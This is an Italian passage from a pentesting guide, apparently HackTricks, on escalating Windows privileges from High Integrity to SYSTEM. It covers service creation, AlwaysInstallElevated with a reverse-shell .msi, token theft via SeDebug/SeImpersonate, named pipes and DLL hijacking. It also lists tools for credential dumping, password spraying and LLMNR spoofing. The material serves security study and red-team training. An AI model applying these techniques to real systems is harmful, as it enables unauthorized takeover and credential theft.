Da High Integrity a SYSTEM

Nuovo servizio

Se stai già eseguendo un processo High Integrity, il percorso verso SYSTEM può essere facile semplicemente creando ed eseguendo un nuovo servizio:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

tip

Quando crei un service binary assicurati che sia un servizio valido o che il binary esegua le azioni necessarie abbastanza velocemente, perché verrà terminato dopo 20s se non è un servizio valido.

AlwaysInstallElevated

Da un processo High Integrity puoi provare a abilitare le voci di registro AlwaysInstallElevated e installare una reverse shell usando un wrapper .msi.
Ulteriori informazioni sulle chiavi di registro coinvolte e su come installare un pacchetto .msi qui.

High + SeImpersonate privilege to System

Puoi trovare il codice qui.

From SeDebug + SeImpersonate to Full Token privileges

Se possiedi quei token privileges (probabilmente li troverai in un processo già High Integrity), potrai aprire quasi qualsiasi processo (non i protected processes) con il privilegio SeDebug, copiare il token del processo e creare un processo arbitrario con quel token.
Di solito questa tecnica prevede di selezionare un processo in esecuzione come SYSTEM con tutti i token privileges (sì, puoi trovare processi SYSTEM senza tutti i token privileges).
Puoi trovare un esempio di codice che esegue la tecnica proposta qui.

Named Pipes

Questa tecnica è usata da meterpreter per l'escalation in getsystem. La tecnica consiste nel creare una pipe e poi creare/abusare un service per scrivere su quella pipe. Poi, il server che ha creato la pipe usando il privilegio SeImpersonate sarà in grado di impersonare il token del client della pipe (il servizio) ottenendo privilegi SYSTEM.
Se vuoi saperne di più sulle name pipes dovresti leggere questo.
Se vuoi leggere un esempio di come passare da high integrity a System usando name pipes dovresti leggere questo.

Dll Hijacking

Se riesci a hijackare una dll che viene caricata da un processo in esecuzione come SYSTEM potrai eseguire codice arbitrario con quei permessi. Pertanto Dll Hijacking è utile anche per questo tipo di escalation di privilegi e, inoltre, è molto più facile da ottenere da un processo High Integrity poiché avrà i permessi di scrittura sulle cartelle usate per caricare le dll.
Puoi approfondire Dll hijacking qui.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Verifica misconfigurazioni e file sensibili (check here). Rilevato.
JAWS -- Verifica possibili misconfigurazioni e raccoglie informazioni (check here).
privesc -- Verifica misconfigurazioni
SessionGopher -- Estrae le informazioni delle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usare -Thorough in locale.
Invoke-WCMDump -- Estrae credenziali dal Credential Manager. Rilevato.
DomainPasswordSpray -- Spruzza le password raccolte attraverso il dominio
Inveigh -- Inveigh è uno spoofer PowerShell ADIDNS/LLMNR/mDNS/NBNS e uno strumento man-in-the-middle.
WindowsEnum -- Enumerazione Windows base per privesc
Sherlock ~~~~ -- Cerca vulnerabilità note per privesc (DEPRECATO in favore di Watson)
WINspect -- Controlli locali (Richiede diritti Admin)

Exe

Watson -- Cerca vulnerabilità note per privesc (deve essere compilato usando VisualStudio) (precompiled)
SeatBelt -- Enumera l'host cercando misconfigurazioni (più uno strumento di raccolta info che di privesc) (deve essere compilato) (precompiled)
LaZagne -- Estrae credenziali da molti software (exe precompilato su GitHub)
SharpUP -- Porting di PowerUp in C#
Beroot ~~~~ -- Controlla misconfigurazioni (eseguibile precompilato su GitHub). Non raccomandato. Non funziona bene su Win10.
Windows-Privesc-Check -- Verifica possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene su Win10.

Bat

winPEASbat -- Tool creato basandosi su questo post (non necessita di accesschk per funzionare correttamente ma può usarlo).

Local

Windows-Exploit-Suggester -- Legge l'output di systeminfo e suggerisce exploit funzionanti (python locale)
Windows Exploit Suggester Next Generation -- Legge l'output di systeminfo e suggerisce exploit funzionanti (python locale)

Meterpreter

multi/recon/local_exploit_suggestor

Devi compilare il progetto usando la versione corretta di .NET (vedi questo). Per vedere la versione di .NET installata sull'host vittima puoi fare:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks